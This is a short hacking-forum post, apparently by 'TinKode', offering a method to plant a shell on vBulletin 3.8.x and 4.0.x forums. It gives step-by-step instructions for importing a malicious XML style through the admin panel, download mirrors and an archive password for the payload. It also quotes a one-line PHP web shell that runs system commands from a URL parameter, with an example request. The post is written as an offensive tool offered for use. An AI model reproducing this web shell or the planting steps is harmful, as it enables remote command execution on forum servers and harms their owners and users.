Shelling Vbulletin 4.0.x & 3.8.x (Xml)

[sharkyz]

By TinKode

Why I created this (XML) Shell for vBulletin?!

Hmm, because it's more easy to use and work on all versions from 3.X to 4.X.

I removed all PHP codes, because vB 4.X had restricted these tags.

The old method to edit a file like ajax.php to make RCE [Remote Command Execution] and to add a code in source like

<?php system($_GET['cmd']);?>

and to execute like

http://website.com/ajax.php?cmd=[RCE]

Now doesn't work on the 4.X versions!

Instructions:

Step 1:

Enter on AdminCP -> Styles & Templates section and choose Download / Upload Styles.

Step 2:

Click on Browse button and search insecurity.xml, and after select [Yes] Ignore Style Version, then click Import.

Step 3:

After you have uploaded the .XML Style, you can access by clicking on the style like in the example.

IMGS

Downloads:

Mirror: http://pastebin.com/ybZqXiDH
Mirror: http://www.megaupload.com/?d=5DELFLQ3

Password:

ISR